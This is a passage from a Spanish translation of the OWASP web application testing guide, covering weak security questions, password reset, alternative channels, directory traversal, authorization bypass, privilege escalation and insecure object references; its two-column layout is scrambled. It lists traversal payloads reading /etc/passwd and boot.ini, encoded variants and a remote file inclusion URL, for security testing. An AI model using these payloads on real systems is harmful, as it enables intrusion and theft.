[1] ¿La aplicación permite al usuario elegir la pregunta que desea

contestar? Si es así, concéntrese en las preguntas que tienen:
Cómo probar
• Una respuesta "pública"; por ejemplo, algo que se podía encontrar con una
Pruebas de preguntas débiles previamente generadas: consulta simple en un motor de búsqueda.
Trate de obtener una lista de preguntas de seguridad mediante la • Una respuesta objetiva como la "primera escuela" u otros hechos que pueden
creación de una nueva cuenta o siguiendo el proceso de “I don’t consultarse.
remember my password” (no recuerdo mi contraseña). Trate de generar
tantas preguntas como sea posible para obtener una buena idea del tipo • Algunas posibles respuestas, tales como "qué modelo fue su primer
de preguntas de seguridad que se hacen. Si alguna de las preguntas de automóvil". Estas preguntas dan al atacante una lista corta de posibles
seguridad cae en las categorías descritas anteriormente, son vulnerables respuestas y, basado en estadísticas, el atacante podría calificar las respuestas
a ser atacadas (adivinadas,ataque de fuerza bruta, disponible en las redes de más a menos probables.
sociales, etc.).
[2] Determine, si es posible, cuántos intentos de adivinar tiene.

Pruebas de preguntas débiles generadas por el usuario:
• ¿El reinicio de la contraseña permite intentos ilimitados?
Trate de crear preguntas de seguridad al crear una cuenta nueva o
mediante la configuración de propiedades de recuperación de contraseña • ¿Existe un período de bloqueo después de X respuestas incorrectas? Tenga
de su cuenta. Si el sistema le permite al usuario generar sus propias en cuenta que un sistema de bloqueo puede ser un problema de seguridad por
preguntas de seguridad, es vulnerable a crear preguntas inseguras. Si el sí mismo, ya que puede ser explotado por un atacante para lanzar una ataque
sistema utiliza las preguntas de seguridad generadas durante la de negación de servicio contra los usuarios legítimos.
funcionalidad de contraseña olvidada, y si se pueden enumerar nombres
de usuario (vea Pruebas de enumeración de cuentas y adivinanza de
cuentas de usuario (OTG-IDENT-004)), entonces debería ser fácil para el
[3] Elija la pregunta más adecuada, basada en el análisis de los puntos
evaluador enumerar una serie de preguntas generadas. Al utilizar este
anteriores y realice investigaciones para determinar las respuestas más
método, es probable encontrar varias preguntas débiles.
probables.
Pruebas de respuestas suceptibles a ataques de fuerza bruta:

La clave para explotar con éxito y eludir un esquema de preguntas de
Use los métodos descritos en Pruebas para determinar un mecanismo de seguridad débil es encontrar una pregunta o un conjunto de preguntas
bloqueo débil (OTG-AUTHN-003) para determinar si un número de que dan la posibilidad de encontrar fácilmente las respuestas. Siempre
respuestas de seguridad incorrectamente suministradas activan un busque preguntas que puedan dar la mayor probabilidad estadística de
mecanismo de bloqueo. adivinar la respuesta correcta si está totalmente inseguro de alguna de las
respuestas. Al final, un esquema de preguntas de seguridad es sólo tan
fuerte como el más débil.
Lo primero que debe tomar en cuenta cuando se trata de explotar

preguntas de seguridad es el número de preguntas que necesitan ser
contestadas. La mayoría de las aplicaciones únicamente necesita que el Referencias
usuario responda una sola pregunta, mientras que algunas aplicaciones
The Curse of the Secret Question:
críticas pueden requerir al usuario responder dos o más preguntas.
https://www.schneier.com/essays/archives/2005/02/the_curse_of_the_sec.htm
l
El siguiente paso es evaluar la solidez de las preguntas de seguridad. ¿Las
respuestas se obtendrían por una simple búsqueda en Google o con
ataque de ingeniería social? Como evaluador de penetración, este es un
Pruebas para determinar un cambio débil de contraseña o funciones de
tutorial paso a paso de cómo explotar un esquema de preguntas de
restablecimiento (OTG-AUTHN-009)
seguridad:
Resumen

114
El cambio de contraseña y la función de restablecimiento de una Por otro lado, si se utilizan preguntas secretas, el siguiente paso es
aplicación es un autoservicio de cambio de contraseña o un mecanismo evaluar su solidez. Esta prueba específica se discute en el párrafo de
de restablecimiento para los usuarios. Este mecanismo de autoservicio Probando la Seguridad Débil de Pregunta/Respuesta de esta guía.
permite a los usuarios cambiar o restablecer rápidamente la contraseña
sin que un administrador intervenga. Cuando se cambian las contraseñas
se cambian típicamente dentro de la aplicación. Cuando las contraseñas
se restablecen son presentadas dentro de la aplicación o por correo • ¿Cómo se comunican las contraseñas restablecidas al usuario?
electrónico al usuario. Esto puede indicar que las contraseñas se
almacenan en texto plano o formato desencriptable.
El escenario más inseguro aquí es si la herramienta de restablecimiento

de contraseña le muestra la contraseña; esto le da al atacante la
Objetivos de la prueba posibilidad de acceder a la cuenta y, a menos que la aplicación
proporcione información sobre el último registro de acceso, la víctima no
[1] Determine la resistencia de la aplicación a la subversión del proceso sabría que su cuenta ha sido comprometida.
de cambio de la cuenta permitiendo a una persona cambiar la contraseña
de una cuenta.
[2] Determine la resistencia de la función de restablecimiento de Un escenario menos inseguro es si la herramienta de restablecimiento de
contraseñas contra el que puedan eludir o adivinar. contraseña obliga al usuario a cambiar inmediatamente su contraseña.
Aunque no tan sigilosamente como el primer caso, permite al atacante
obtener acceso y bloquer al usuario real.
Cómo probar
Tanto para el cambio de contraseña como para restablecer la contraseña, La mejor seguridad se logra si el restablecimiento de contraseña se
es importante verificar: realiza a través de un correo electrónico a la dirección del usuario
inicialmente registrado o a alguna dirección de correo electrónico; Esto
fuerza al atacante no sólo a adivinar a qué correo fue enviado el
restablecimiento de contraseña de la cuenta (a menos que la aplicación
[1] Si los usuarios, que no son administradores, pueden cambiar o restablecer muestre esta información), sino también a comprometer la cuenta de
contraseñas para cuentas que no sean la propia. correo electrónico, con el fin de obtener la contraseña temporal o el
vínculo para restablecer la contraseña.
[2] Si los usuarios pueden manipular o subvertir el cambio de contraseña o
restablecer el proceso para cambiar o restablecer la contraseña de otro usuario
o administrador.
•¿ Son las contraseñas de restablecimiento generadas al azar?
[3] Si el cambio de contraseña o reinicio del proceso es vulnerable a CSRF.
El escenario más inseguro aquí es si la aplicación envía o visualiza la

Pruebe el reinicio de contraseña contraseña antigua en texto claro, porque esto significa que las
contraseñas no se almacenan en una forma de hash, que es un problema
Adicionalmente a las revisiones anteriores, es importante verificar lo de seguridad en sí mismo.
siguiente:
La mejor seguridad se logra si las contraseñas se generan aleatoriamente

• ¿ ué información es necesaria para restablecer la contraseña? con un algoritmo seguro que no se puede derivar.
El primer paso es comprobar si se requieren preguntas secretas. El envío • ¿La función de restablecimiento de contraseña solicita confirmación antes de
de la contraseña (o un enlace de restablecimiento de contraseña) a la cambiar la contraseña?
dirección de correo electrónico del usuario, sin preguntar primero una
pregunta secreta, es confiar 100% en la seguridad de la dirección de
correo electrónico, que no es conveniente si la aplicación necesita un alto
nivel de seguridad.
115
Para limitar los ataques de negación de servicio, la aplicación debe enviar

por correo electrónico un enlace al usuario con una ficha al azar y, sólo si
el usuario visita el enlace, entonces el procedimiento de reinicio se ha Los canales alternativos de interacción del usuario podrían utilizarse
completado. Esto asegura que la contraseña actual seguirá siendo válida para eludir el canal primario o exponer información que puede utilizarse
hasta que el restablecimiento haya sido confirmado. para ayudar a un ataque contra el canal primario. Algunos de estos
canales pueden ser aplicaciones web independientes, mediante nombres
o rutas de alojamiento diferentes. Por ejemplo:
Pruebe el cambio de contraseña
Adicionalmente a la prueba anterior, es importante verificar: • Página web estándar
• Sitio web optimizado para dispositivos móviles o dispositivos específicos
• ¿ La contraseña anterior es solicitada para completar el cambio? • Sitio web de accesibilidad optimizada
• Sitios web de país e idioma alternativos
El escenario más inseguro aquí es si la aplicación permite el cambio de la • Sitios web paralelos que utilizan el mismo usuario (por ejemplo, otra página
contraseña sin solicitar la contraseña actual. De hecho, si un atacante es web que ofrece diferentes funcionalidades de la misma organización, un sitio
capaz de tomar el control de una sesión válida, podría cambiar fácilmente web de un socio con el que se comparten cuentas de usuario)
la contraseña de la víctima.
• Desarrollo, prueba, UAT y puesta en escena de las versiones de la página
web estándar
Véase también el párrafo Probando políticas de contraseñas débiles de

esta guía.
Pero también podría haber otro tipo de aplicaciones o procesos del
negocio:
Referencias • Aplicación para dispositivos móviles
• OWASP Forgot Password Cheat Sheet • Aplicación de escritorio
• OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery • Operadores de centros de llamadas (call center)
• Sistemas de respuesta de voz interactiva o sistemas de árboles de

llamadas telefónicas
Remediación
El cambio de contraseña o función de restablecimiento es una función

sensible y requiere algún tipo de protección, tal como que los usuarios Tome en cuenta que el objetivo de esta prueba está en los canales
tengan que volver a autenticarse o que se presente al usuario pantallas de alternativos; algunas alternativas de autenticación pueden aparecer ya
confirmación durante el proceso. que hay diferente contenido entregado por el mismo sitio web y
seguramente estarán en la mira de pruebas. Estas no se discutirán más a
fondo aquí y deben haber sido identificadas durante las pruebas de
recolección de información y autenticación primarias. Por ejemplo:
Pruebas para determinar la autenticación más débil en un canal
alternativo (OTG-AUTHN-010)
Resumen • El progresivo enriquecimiento y la degradación que cambian la

funcionalidad
Incluso si los mecanismos de autenticación primaria no incluyen
vulnerabilidades, puede ser que las vulnerabilidades existan en canales • Uso del sitio sin cookies
alternativos de autenticación legítima para la misma cuenta del usuario.
Deben realizarse pruebas para identificar canales alternativos y, • Uso del sitio sin JavaScript
conforme a la prueba de evaluación, identificar las vulnerabilidades.
• Uso del sitio sin plugins Flash y Java

116
• Use motores de búsqueda para encontrar sitios web diferentes de la misma

organización o que usen el mismo nombre de dominio, que tienen similar
Aunque el alcance de la prueba no permita probar a los canales alternativos, contenido en la página de inicio o que disponen de mecanismos de
su existencia debe ser documentada. Estos pueden debilitar el grado de autenticación.
fiabilidad en los mecanismos de autenticación y pueden ser un precursor de
pruebas adicionales.
Para cada posible canal, confirme si las cuentas de usuario son

compartidas a través de éstos, o proporcionan acceso a la misma o similar
Ejemplo: funcionalidad.
El sitio web principal es:
http://www.example.com Enumere la funcionalidad de autenticación
Para cada canal alternativo donde se comparten las cuentas de usuario o

funcionalidad, identifique si se dispone de todas las funciones de
y las funciones de autenticación siempre ocurren en páginas que utilizan autenticación del canal principal y si existe algo más. Puede ser útil crear
Transport Layer Security: una cuadrícula como la siguiente:
https://www.example.com/myaccount/
Centro de Sitio web

phpBB Móvil
llamadas asociado
Sin embargo, un sitio web optimizado para móvil independiente existe y
no usa Transport Layer Security y dispone de un mecanismo de Registro Si - -
recuperación de contraseña más débil:
Abrir sesion Si Si Si (SSO)
http://m.example.com/myaccount/
Cerrar sesión - - -
Reestablecer Si Si -
Cómo probar
contraseña
Entienda el mecanismo primario

Cambio de - -
Contraseña
Pruebe completamente las funciones de autenticación primaria del sitio
web. Esto debe identificar cómo se emiten, crean o cambian las cuentas y
cómo se recuperan, restablecen o cambian las contraseñas. Además, debe
conocerse cualquier privilegio elevado de las medidas de autenticación y
de protección de autenticación. Estos precursores son necesarios para
poder compararlos con los canales alternativos. En este ejemplo, el móvil tiene una función extra: "cambiar la contraseña",
pero no ofrece "desconectarse". Un número limitado de tareas también son
posibles llamando al centro de llamadas. Los centros de llamadas pueden ser
interesantes, porque sus controles de confirmación de identidad podrían ser
Identifique otros canales más débiles que los de la página web, lo cual permite que este canal sea
utilizado para un ataque contra la cuenta de un usuario.
Otros canales pueden encontrarse mediante los métodos siguientes:
• Lea el contenido del sitio, especialmente la página de inicio, contáctenos,

páginas de ayuda, artículos y preguntas frecuentes (FAQs) , T & Cs, avisos de Mientras se enumeran estos, vale la pena tomar nota de cómo se lleva a
privacidad, los archivos robots.txt y sitemap.xml cabo el manejo de sesiones, en caso de que haya una superposición a
través de cualquier canal (cookies destinadas al mismo nombre de
• Busque registros proxy HTTP, grabados durante la recopilación de
dominio padre, sesiones simultáneas permitidas a través de canales, pero
información y pruebas previas, con las cadenas como "mobile", "android",
no en el mismo canal).
blackberry", "ipad", "iphone", “mobile app”, “e-reader”, “wireless”, “auth”,
“sso”, “single sign on” en rutas de URL y contenido.

117
Revise y pruebe
Los canales alternativos deben mencionarse en el informe de prueba, Tradicionalmente, los servidores web y aplicaciones web implementan
incluso si están marcados como "solo informativos" y/o "fuera del mecanismos de autenticación para controlar el acceso a archivos y
alcance". En algunos casos, el alcance de la prueba podría incluir el canal recursos. Los servidores web tratan de limitar los archivos de los
alternativo (por ejemplo, porque es una ruta en el nombre del usuarios dentro de un "directorio raíz" o "raíz del documento web ", que
alojamiento de destino), o pueden añadirse al ámbito después de la representa un directorio físico en el sistema de archivos. Los usuarios
discusión con los dueños de los canales. Si la prueba se permite y deben considerar este directorio como el directorio base en la estructura
autoriza, entonces todas las otras pruebas de autenticación en esta guía jerárquica de la aplicación web.
deben realizarse y compararse con el canal primario.
La definición de los privilegios se realiza mediante LISTAS DE Control de

Casos de prueba relacionados acceso (ACL) que identifican qué usuarios o grupos se supone que deben
tener acceso, modificar o ejecutar un archivo en el servidor. Estos
Los casos de prueba para todas las pruebas de autenticación deben ser mecanismos están diseñados para evitar que usuarios malintencionados
utilizados. tengan acceso a archivos sensibles (por ejemplo, el archivo común
/etc/passwd en una plataforma tipo UNIX) o para evitar la ejecución de
comandos del sistema.
Remediación
Asegúrese de que se aplique una política de autenticación consistente en Muchas aplicaciones web utilizan secuencias de comandos de servidor
todos los canales para que sean igualmente seguros. para incluir diferentes tipos de archivos. Es muy común utilizar este
método para administrar imágenes, plantillas, cargar textos estáticos y
así sucesivamente. Desafortunadamente, estas aplicaciones exponen las
vulnerabilidades de seguridad si los parámetros de entrada (es decir,
Cómo probar la autorización parámetros de los formularios, valores de cookies) no son validados
correctamente.
Autorización es el concepto de permitir acceso a los recursos, sólo a
aquellos permitidos para utilizarlos. Probando la autorización significa
comprender cómo funciona el proceso de autorización y usar esa
información para eludir el mecanismo de autorización. En servidores web y aplicaciones web, este tipo de problemas se presenta
en ataques path de inclusión de archivos de circulación. Mediante la
explotación de este tipo de vulnerabilidad, un atacante es capaz de leer
directorios o archivos que normalmente no puede leer, acceder a los
La autorización es un proceso que viene después de una autenticación
datos fuera de la raíz de documentos web o incluir secuencias de
correcta, por lo que el evaluador verifica este punto después de tener
comandos y otros tipos de archivos desde sitios web externos.
credenciales válidas, asociadas a un conjunto bien definido de roles y
privilegios. En este tipo de evaluación, se debe verificar si es posible
eludir el esquema de autorización, encontrando una vulnerabilidad de
ruta de circulación, o encontrar maneras de aumentar los privilegios Para el propósito de la guía de pruebas OWASP, sólo las amenazas de
asignados al evaluador. seguridad relacionadas con aplicaciones web se considerarán y no las
amenazas a servidores web (por ejemplo, la infame "%5 escape c code"
en el servidor web IIS de Microsoft). Más sugerencias de lectura se
proveerán en la sección de referencias para los lectores interesados.
Probar la inclusión de archivos de directorio de circulación(OTG-
AUTHZ-001)
Resumen
Este tipo de ataque es también conocido como el ataque de punto-punto-
slash (dot-dot-slash) (... /), salto de directorio, escalada de directorio o
Muchas aplicaciones web usan y administran archivos como parte de su
retroceso.
operación diaria. Usando métodos de validación de entrada que no han
sido bien diseñados o implementados, un agresor podría aprovechar el
sistema para leer o escribir archivos que no están diseñados para ser
accesibles. En situaciones particulares, podría ser posible ejecutar un
código arbitrario o comandos del sistema.

118
Durante una evaluación, para descubrir fallas en el recorrido de

circulación y los archivos, los evaluadores necesitan realizar dos etapas
Cookie:
diferentes:
ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJ
gMSSPKVMV:
TEMPLATE=flower
(a) Enumeración de Vectores de Entrada (una evaluación sistemática de
cada vector de entrada)
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
(b) Técnicas de Pruebas (una evaluación metódica de cada técnica de
ataque, utilizada por un atacante para explotar la vulnerabilidad)
Técnicas de pruebas
Cómo probar
La siguiente etapa de la prueba es analizar las funciones de validación de
Prueba de Caja Negra entrada presentes en la aplicación web. Usando el ejemplo anterior, la
página dinámica llamada getUserProfile.jsp carga información estática de
Enumeración de vectores de entrada un archivo y muestra el contenido a los usuarios. Un atacante podría
insertar la cadena maliciosa "... /.. /.. /.. / etc/passwd" para incluir el
Con el fin de determinar qué parte de la aplicación es vulnerable a eludir archivo de contraseñas hash de un sistema Linux/UNIX. Obviamente, este
la validación de entrada, el evaluador debe enumerar todas las partes de tipo de ataque sólo es posible si el punto de control de validación falla.
la aplicación que aceptan el contenido por parte del usuario. Esto también Según los privilegios de sistema de archivos, la aplicación web debe ser
incluye consultas HTTP GET y POST y opciones comunes como carga de capaz de leer el archivo.
archivos y formularios HTML.
Para comprobar con éxito esta falla, el evaluador debe tener

Estos son algunos ejemplos de los controles a realizar en esta etapa: conocimiento del sistema que está sometido a prueba y la ubicación de
los archivos que se solicitan. No tiene ningún sentido solicitar
/etc/passwd de un servidor web IIS.
• ¿Hay parámetros de solicitud que se podrían utilizar para las

operaciones relacionadas con archivos?
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
• ¿Hay extensiones de archivo inusuales?
• ¿Hay nombres de variables interesantes?
Para el ejemplo de cookies:

http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
http://example.com/main.cgi?home=index.htm
¿• Es posible identificar las cookies utilizadas por la aplicación web para

la generación dinámica de páginas o plantillas? También es posible incluir archivos y secuencias de comandos ubicadas
en sitios externos.

119
http://example.com/index.php?file=http://www.owasp.org/malicioustxt root directory: “<drive letter>:”
directory separator: “:
El siguiente ejemplo demostrará cómo es posible mostrar el código fuente Debemos tomar en cuenta los mecanismos de codificación de los
de un componente CGI, sin utilizar los caracteres de ruta de circulación. siguientes caracteres:
http://example.com/main.cgi?home=main.cgi
• URL encoding and double URL encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../

El componente llamado "main.cgi" está situado en el mismo directorio
como el de los archivos estáticos HTML normales utilizados en la ..%2f represents ../
aplicación. En algunos casos, el evaluador debe codificar las peticiones
utilizando caracteres especiales (como el "." dot, "% 00" null,...) para %2e%2e%5c represents ..\
evitar controles de extensión de archivo o para evitar la ejecución del
script. %2e%2e\ represents ..\
..%5c represents ..\
Sugerencia: Es un error común de los programadores no esperar todas %252e%252e%255c represents ..\
las formas de codificación y, por lo tanto, solo hacer validación de
contenido codificado básico. Si al principio la secuencia de la prueba no es ..%255c represents ..\ and so on.
exitosa, pruebe con otro esquema de codificación.
Cada sistema operativo utiliza caracteres diferentes como separadores de

• Unicode/UTF-8 Encoding (solo funciona en sistemas que aceptan
ruta:
secuencias UTF-8 alargadas)
Unix-like OS:
..%c0%af represents ../
root directory: “/”
..%c1%9c represents ..\
directory separator: “/”
Hay otros sistemas operativos y aplicaciones con frameworks con

consideraciones específicas. Por ejemplo, Windows es flexible en su
análisis de rutas de archivo.
Windows OS’ Shell’:
root directory: “<drive letter>:\”

• Shell de Windows: anexa cualquiera de las siguientes rutas utilizadas en
directory separator: “\” or “/” los resultados de un comando de shell sin crear ninguna diferencia en la
función:
• Los signos de ángulo ">" y "<" al final de la ruta
Classic Mac OS: • Dobles comillas (debidamente cerradas) al final de la ruta
• Marcadores extraños del directorio actual como". /" o ". \"

120
• Marcadores extraños del directorio parental con elementos arbitrarios que • Puede ser equivalente a una letra de unidad como c:\, o incluso a un
pueden o no existir volumen de disco sin una letra asignada.
\\.\GLOBALROOT\Device\HarddiskVolume1\
Ejemplos:
– file.txt
– file.txt...
• Se refiere a la primera unidad de disco en la máquina.
– file.txt<spaces>
– file.txt”””” \\.\CdRom0\
– file.txt<<<>>><
– ./././file.txt
– nonexistant/../file.txt Pruebas de Caja Gris
Cuando el análisis se realiza con un enfoque de Caja Gris, los evaluadores

tienen que seguir la misma metodología que en las pruebas de Caja Negra.
• Windows API: los siguientes elementos son desechados cuando se utilizan Sin embargo, puesto que pueden revisar el código fuente, es posible
en cualquier comando shell o llamada a la API, donde se toma una cadena buscar los vectores de entrada (etapa (a) de la prueba) más fácilmente y
como un nombre de archivo: con precisión. Durante una revisión de código fuente, pueden utilizar
herramientas simples (como el comando grep) para buscar uno o más
periodos patrones comunes dentro del código de la aplicación: la inclusión de
funciones/métodos, operaciones de sistema de archivos y demás.
espacios
PHP: include(), include_once(), require(), require_once(), fopen(),

readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...

• Windows UNC Filepaths: utilizado para referenciar archivos en recursos
compartidos SMB. A veces, se puede hacer una aplicación para referirse a ASP: include file, include virtual, ...
archivos en una ruta UNC remota. Si es así, el servidor SMB de Windows puede
enviar las credenciales almacenadas al atacante, que pueden ser capturadas y
penetradas. Estos también pueden ser utilizados con una dirección IP
autorreferenciada o con un nombre de dominio para evitar los filtros, o
utilizarlos para tener acceso a archivos en recursos compartidos SMB,
inaccesibles al atacante, pero accesibles desde el servidor web.
Utilizando motores de búsqueda de código en línea (por ejemplo, Ohloh
Code[1]), es también posible encontrar fallas en la ruta de circulación en
\\server_or_ip\path\to\file.abc el software de código abierto publicado en Internet.
\\?\server_or_ip\path\to\file.abc
Para PHP, los evaluadores pueden utilizar:
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_(GET|POST|COOKIE)
• Windows NT Device Namespace: Se utiliza para referirse al espacio de
nombres de dispositivo de Windows. Ciertas referencias permiten el acceso
a sistemas de archivos utilizando una ruta diferente.

121
code.google.com
Usando el método de pruebas de Caja Gris, es posible descubrir las • Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],
vulnerabilidades que son generalmente más difíciles de hallar, o incluso
imposibles de encontrar durante una evaluación estándar de la Caja OWASP: Zed Attack Proxy (ZAP)[5])
Negra.
• Enconding/Decoding tools
• String searcher “grep” - gnu.org

Algunas aplicaciones web generan páginas dinámicas utilizando valores y
parámetros almacenados en una base de datos. Es posible insertar
cadenas de ruta de circulación especialmente diseñadas cuando la
aplicación añade datos a la base de datos. Este tipo de problema de Referencias
seguridad es difícil de descubrir debido a que los parámetros dentro de
Libros Blancos
las funciones de inclusión parecen internos y "seguros", pero no lo son en
realidad.
• phpBB Attachment Mod Directory Traversal HTTP POST Injection:
archives.neohapsis.com
• Windows File Pseudonyms: Pwnage and Poetry: slideshare.net

Además, revisando el código fuente es posible analizar las funciones que
se supone deben manejar las entradas inválidas: algunos desarrolladores
tratan de cambiar la entrada inválida para que sea válida, evitando avisos
y errores. Estas funciones son generalmente propensas a fallas de Cómo probar la autorización
seguridad.
La autorización es el concepto de permitir acceso a los recursos, pero sólo
a aquellos señalados para utilizarlos. Probar la autorización significa
comprender cómo funciona el proceso de autorización y usar esa
Considere una aplicación web con estas instrucciones:
información para eludir el mecanismo de autorización.
filename = Request. ueryString(“file”);
Replace(filename, “/”,”\”); La autorización es un proceso que viene después de una autenticación

correcta, por lo que el evaluador verificará este punto después de tener
Replace(filename, “..\”,””); credenciales válidas, asociadas a un conjunto bien definido de roles y
privilegios. En este tipo de evaluación, se debe verificar si es posible
eludir el esquema de autorización, encontrar una vulnerabilidad de ruta
de circulación, o encontrar maneras de aumentar los privilegios
asignados al evaluador.
Probar la falla se consigue mediante:
file=....//....//boot.ini
Pruebas para eludir el esquema de autorización (OTG-AUTHZ-002)
file=....\\....\\boot.ini
Resumen
file= ..\..\boot.ini
Este tipo de prueba se centra en comprobar cómo se implementó el
esquema de autorización para que cada rol o privilegio obtenga acceso a
funciones reservadas y recursos.
Herramientas
Para cada rol específico que el evaluador tiene durante la evaluación, para
• DotDotPwn - The Directory Traversal Fuzzer:
cada función y solicitud que la aplicación ejecuta durante la fase posterior
dotdotpwn.sectester.net a la autenticación, es necesario verificar:
• Path Traversal Fuzz Strings (from WFuzz Tool):

122
• ¿Es posible acceder a ese recurso, incluso si el usuario no está ¿Qué sucede si un usuario no administrativo intenta ejecutar esa
autenticado? petición? ¿Se creará el usuario? Si es así, ¿puede utilizar sus privilegios
del nuevo usuario?
• ¿Es posible tener acceso a ese recurso después de la desconexión?
• ¿Es posible acceder a las funciones y los recursos que deben ser accesibles
a un usuario que tiene un rol diferente o un privilegio? Pruebas para buscar el acceso a los recursos asignados a un rol
diferente
Por ejemplo, analice una aplicación que utiliza un directorio compartido

Intente acceder a la aplicación como un usuario administrativo y siga para almacenar archivos PDF temporales para diferentes usuarios.
todas las funciones administrativas. Suponga que documentABC.pdf debe ser accesible sólo por el usuario
test1 con roleA. Verifique si el usuario test2 con roleB puede acceder a
ese recurso.
• ¿Es posible acceder a funciones administrativas si el evaluador está

registrado como un usuario con privilegios estándar?
Herramientas
• ¿Es posible utilizar estas funciones administrativas como un usuario con
un rol diferente y para quien esa acción debería ser negada? • OWASP WebScarab: OWASP WebScarab Project
Cómo probar
Pruebas para buscar el acceso a funciones administrativas Pruebas para determinar el escalamiento de privilegios (OTG-AUTHZ-
003)
Por ejemplo, suponga que la función 'AddUser.jsp' es parte del menú
administrativo de la aplicación, y es posible acceder a él al solicitar la Resumen
siguiente URL:
Esta sección describe el problema del escalamiento de privilegios de una
etapa a otra. Durante esta fase, el evaluador deberá verificar que no es
https://www.example.com/admin/addUser.jsp posible para un usuario modificar sus privilegios o roles dentro de la
aplicación, de manera que podría permitir ataques de escalada de
privilegios.
El escalamiento de privilegios se produce cuando un usuario obtiene

Entonces, la siguiente petición HTTP se genera cuando se llama a la
acceso a más recursos o funcionalidad que la que normalmente se le
función AddUser:
permite, y dicha elevación o cambios debían haber sido evitados por la
aplicación. Esto es generalmente causado por un defecto en la aplicación.
POST /admin/addUser.jsp HTTP/1.1 El resultado es que la aplicación realiza las acciones con más privilegios
que los que el desarrollador o administrador del sistema querían
Host: www.example.com adjudicar.
[other HTTP headers]
El grado de escalamiento depende de los privilegios que el atacante está

autorizado a poseer y que se pueden obtener en una explotación exitosa.
userID=fakeuser&role=3&group=grp001 Por ejemplo, un error de programación que permite a un usuario
privilegios extras después de la autenticación correcta limita el grado de
escalamiento, porque el usuario ya está autorizado a tener algo de
privilegios. Asimismo, un atacante remoto que obtiene privilegios de
superusuario sin ninguna autenticación presenta un mayor grado de
escalamiento.

123
HTTP/1.1 200 OK
Generalmente, las personas se refieren al escalamiento vertical cuando es
posible tener acceso a recursos en cuentas más privilegiadas (por
ejemplo, adquirir privilegios administrativos para la aplicación) y en
Date: Wed, 1 Apr 2006 13:51:20 GMT
escalamiento horizontal cuando es posible acceder a los recursos de una
cuenta configurada de manera similar (por ejemplo, en una aplicación de
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/;
banca en línea, al acceder a la información relacionada con un usuario
domain=www.example.com
diferente).
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain=
www.example.com
Cómo probar Cache-Control: no-cache
Pruebas de la manipulación del rol/privilegio Pragma: No-cache
En cada porción de la aplicación donde un usuario puede crear Content-length: 247

información en la base de datos (por ejemplo, hacer un pago, agregar un
contacto o enviar un mensaje), puede recibir información (estado de Content-Type: text/html
cuenta, detalles de la orden, etc.), o eliminar la información (salida de
usuarios, mensajes, etc.), es necesario grabar dicha funcionalidad. El Expires: Thu, 01 Jan 1970 00:00:00 GMT
evaluador debe intentar acceder a tales funciones como otro usuario con
el fin de verificar si es posible acceder a una función que no se debe Connection: close
permitir por rol/privilegio del usuario (pero que podría admitirse como
otro usuario). <form name=”autoriz” method=”POST” action = “visual.jsp”>
<input type=”hidden” name=”profile” value=”SysAdmin”>
Por ejemplo: <body onload=”document.forms.autoriz.submit()”>
El siguiente POST de HTTP permite que el usuario que pertenece a

grp001 acceda a la orden #0001:
POST /admin/addUser.jsp HTTP/1.1 ¿Qué pasa si el evaluador modifica el valor de la variable "profile" en
"SysAdmin"? ¿Es posible llegar a ser administrador?
[other HTTP headers]
userID=fakeuser&role=3&group=grp001
Por ejemplo:
En un entorno donde el servidor envía un mensaje de error contenido

como un valor en un parámetro específico en un conjunto de códigos de
Verifique si un usuario que no pertenece a la grp001 puede modificar el respuesta, como el siguiente:
valor de los parámetros 'groupID' y 'orderID' para acceder a esa
información privilegiada.
Por ejemplo:
La siguiente respuesta del servidor muestra un campo oculto en el HTML

devuelto al usuario después de una autenticación correcta.

124
el valor de un parámetro para apuntar directamente a un objeto. Tales

@0`1`3`3``0ÙC`1`StatusÒK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0`
recursos pueden ser entradas de bases de datos que pertenecen a otros
usuarios, archivos en el sistema y más. Esto es causado porque la
Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar
aplicación toma la información ingresada por el usuario y la utiliza para
recuperar un objeto sin realizar las comprobaciones de autorización
`0`0`0`
suficientes.
StateExecToolBar`0`0`0`FlagsToolBar`0
Cómo probar
Para probar esta vulnerabilidad, el evaluador debe, primero, crear el

mapa de todas las ubicaciones en la aplicación donde se utiliza
El servidor le brinda una confianza implícita al usuario. Cree que el usuario información ingresada por el usuario para hacer referencia a objetos
responderá con el mensaje anterior al cerrar la sesión
directamente. Por ejemplo, lugares donde se utiliza información
ingresada por el usuario para acceder a una fila de la base de datos, un
archivo, páginas de aplicación y más. A continuación, el evaluador debe
modificar el valor del parámetro utilizado para referenciar los objetos y
En esta condición, compruebe que no sea posible escalar privilegios mediante
evaluar si es posible recuperar objetos pertenecientes a otros usuarios o,
la modificación de los valores de parámetros. En este ejemplo particular,
de lo contrario, omitir la autorización.
modificando el valor de 'PVValid' de '-1' a '0' (no hay condiciones de error), es
posible autenticarse como administrador al servidor.
La mejor manera de probar las referencias de objeto directo sería tener al

Referencias menos dos usuarios (a menudo más) para cubrir las funciones y objetos
propios de cada uno. Por ejemplo, dos usuarios tienen acceso a diferentes
Libros Blancos objetos (información de compra, mensajes privados, etc.) y (si procede)
usuarios con distintos privilegios (usuarios de administrador) para ver si
• Wikipedia - Privilege Escalation: hay referencias a la funcionalidad de la aplicación. Por tener múltiples
http://en.wikipedia.org/wiki/Privilege_escalation usuarios, el evaluador ahorra tiempo de prueba en adivinar los nombres
de diferentes objetos ya que él puede intentar tener acceso a objetos que
pertenecen a otro usuario.
Tools
• OWASP WebScarab: OWASP WebScarab Project A continuación se muestran varios escenarios típicos para esta
vulnerabilidad y los métodos de prueba para cada uno:
El valor de un parámetro se utiliza directamente para recuperar un

Pruebas de las referencias de objetos directos inseguros (OTG-AUTHZ- registro de la base de datos
004)
Solicitud de muestra:
Resumen
Las Referencias de Objetos Directos Inseguros ocurren cuando una http://foo.bar/somepage?invoice=12345

aplicación ofrece acceso directo a objetos basados en la información
suministrada por el usuario. Como resultado de esta vulnerabilidad, los
